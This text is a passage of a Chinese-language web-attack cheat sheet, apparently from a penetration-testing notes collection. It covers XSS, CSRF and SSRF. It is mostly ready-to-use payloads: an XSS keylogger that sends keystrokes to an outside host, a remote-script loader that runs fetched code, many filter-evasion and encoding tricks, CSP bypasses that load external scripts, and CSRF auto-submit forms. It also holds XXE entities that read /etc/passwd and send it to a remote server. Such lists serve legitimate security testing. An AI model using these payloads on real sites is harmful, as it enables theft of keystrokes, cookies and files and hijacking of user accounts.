<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
```

**更多PAYLOAD**

```
http://www.xss-payloads.com/payloads-list.html?a#category=all
```

**更多XSS盲打工具**

```
https://github.com/s0md3v/XSStrike
https://github.com/epsylon/xsser
https://github.com/hahwul/dalfox
https://github.com/hahwul/XSpear
https://github.com/fcavallarin/domdig
```

**常见payload**

```javascript
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

<body ontouchstart=alert(1)> // 当手指触摸屏幕时触发
<body ontouchend=alert(1)>   // 当手指从触摸屏上移开时触发
<body ontouchmove=alert(1)>  // 当手指在屏幕上拖动时
```

**远程Js**

```
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
```

**隐藏在输入框中的 XSS**

```
<input type="hidden" accesskey="X" onclick="alert(1)">
使用CTRL+SHIFT+X触发
```

**带有 JavaScript 的 XSS**

```
javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)

\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
```

**带有data的 XSS**

```
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```

**文件中的 XSS**

**XML CDATA**

```
<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
```

**XML 中的 XSS**

```
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
```

**SVG 中的 XSS**

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
```

**SVG 中的 XSS（短）**

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
```

**Markdown 中的 XSS**

```
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```

**SWF flash 应用程序中的 XSS**

```
http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);

flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
```

**CSS 中的 XSS**

```
<!DOCTYPE html>
<html>
<head>
<style>
div  {
    background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
    background-color: #cccccc;
}
</style>
</head>
  <body>
    <div>lol</div>
  </body>
</html>
```

**绕过过滤**

**大小写**

```
<sCrIpt>alert(1)</ScRipt>
```

**标签黑名单**

```
<script x>
<script x>alert('XSS')<script y>
```

**转义**

````
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
````

**使用不完整的 html 标签**

```
<img src='1' onerror='alert(0)' <
```

**字符串引号**

```
String.fromCharCode(88,83,83)
```

**标签中的引号**

```
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';`?>
  </script>
</html>
```

**在 mousedown 事件中绕过引号**

```
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>
```

**绕过“点”过滤**

```
<script>window['alert'](document['domain'])</script>
IP地址转换为十进制格式
http://www.geektools.com/cgi-bin/ipconv.cgi
http://192.168.1.1== http://3232235777
<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>
echo -n "alert(document.cookie)" | base64 编码为 YWxlcnQoZG9jdW1lbnQuY29va2llKQ==
```

**绕过字符串的括号**

```
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
```

**绕过括号和分号**

```
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
```

**绕过onxxxx=黑名单**

```
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>

<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />

<img src='1' onerror/=alert(0) />
```

**绕过空格过滤**

```
// 使用 "/" 绕过
<img/src='1'/onerror=alert(0)>

// 使用0x0c/^L  绕过
<svgonload=alert(1)>

$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.
```

**绕过电子邮件过滤**

```
"><svg/onload=confirm(1)>"@x.y
```

**绕过document黑名单**

```
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]
```

**在字符串中使用 javascript 绕过**

```
<script>
foo="text </script><script>alert(1)</script>";
</script>
```

**重定向**

```
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
```

**其他方式的alert**

````
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);

prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'

eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;

var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
        if (exec_original) {
          return proxy.apply(this, arguments);
        }
      };
      XSSObject.lockdown(obj, name);
  };
XSSObject.proxy(window, 'alert', 'window.alert', false);
````

**>**

```
<svg onload=alert(1)//
```

**绕过<>**

```
Unicode 字符 U+FF1C 和 U+FF1E
```

**;**

```
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
```

**HTML 编码**

```
%26%2397;lert(1)
&#97;&#108;&#101;&#114;&#116;
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
```

**片假名库**

```
https://github.com/aemkei/katakana.js
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
```

**楔形文字**

```
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
```

**Lontara**

```
ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()
```

**ECMAScript6**

```
<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>
```

**Unicode**

```
Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <

绕过使用转换为大写的 Unicode
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
```

**UTF-7**

```
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
```

**UTF-8**

```
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
```

**UTF-16be**

```
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
```

**UTF-32**

```
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```

**使用 BOM 绕过**

```
字节顺序标记（页面必须以 BOM 字符开头。） BOM 字符允许您覆盖页面的字符集
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```

**奇怪的编码**

```
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
```

**jsfuck**

```
http://www.jsfuck.com/
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
```

**CSP Bypass**

```
https://websecblog.com/vulns/google-csp-evaluator/
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"

http://hsts.pro/csp.php?xss=f=document.createElement%28%22iframe%22%29;f.id=%22pwn%22;f.src=%22/robots.txt%22;f.onload=%28%29=%3E%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

<script src="data:,alert(1)">/</script>
```


# CSRF

```
查看有无token等验证身份的参数，删掉后是否返回正常
查看header中referer,origin参数，删掉后是否返回正常
使用csrftester/burpsuite生成表单，以另一账号和浏览器打开测试
去掉referer中域名后面的文件夹或文件
替换二级域名
```

**GET需要用户交互**

```
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
```

**GET无用户交互**

```
<img src="http://www.example.com/api/setusername?username=CSRFd">
```

**POST需要用户交互**

```
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
```

**POST无用户交互**

```
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>
```

**JSON GET**

```
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
```

**JSON POST**

```
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
```


# SSRF

**定义**

```
服务端请求伪造
构造一个由服务器发出请求的漏洞
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
```

**成因**

```
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞
```

**挖掘**

```
转码服务
在线翻译
获取超链接的标题等内容进行显示
请求远程服务器资源的地方，图片加载与下载(通过URL地址加载或下载图片)
图片、文章收藏功能
对外发起网络请求的地方，网站采集、网页抓取的地方。
头像 (远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
数据库内置功能(mongodb的copyDatabase函数)
邮件系统
文件处理
在线处理工具
从URL关键字中寻找：share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
```

**利用工具**

```
https://github.com/swisskyrepo/SSRFmap
https://github.com/tarunkant/Gopherus
https://github.com/In3tinct/See-SURF
https://github.com/teknogeek/ssrf-sheriff
```

**XML**

```
<!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
<!ENTITY % file system "file:///etc/passwd" >
<!ENTITY % d SYSTEM "http://wuyun.org/file?data=%file">
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">
<xenc:AgreementMethod Algorithm= "http://wuyun.org/1">
<xenc:EncryptionProperty Target= "http://wuyun.org/2">
<xenc:CipherReference URI= "http://wuyun.org/3">
<xenc:DataReference URI= "http://wuyun.org/4">
<Reference URI="http://wuyun.org/5">
<To xmlns="http://www.w3.org/2005/08/addressing">http://wuyun.org/to</To>
<ReplyTo xmlns="http://www.w3.org/2005/08/addressing">
<Address>http://wuyun.org/rto</Address>
<input message="wooyun" wsa:Action="http://wuyun.org/ip" />
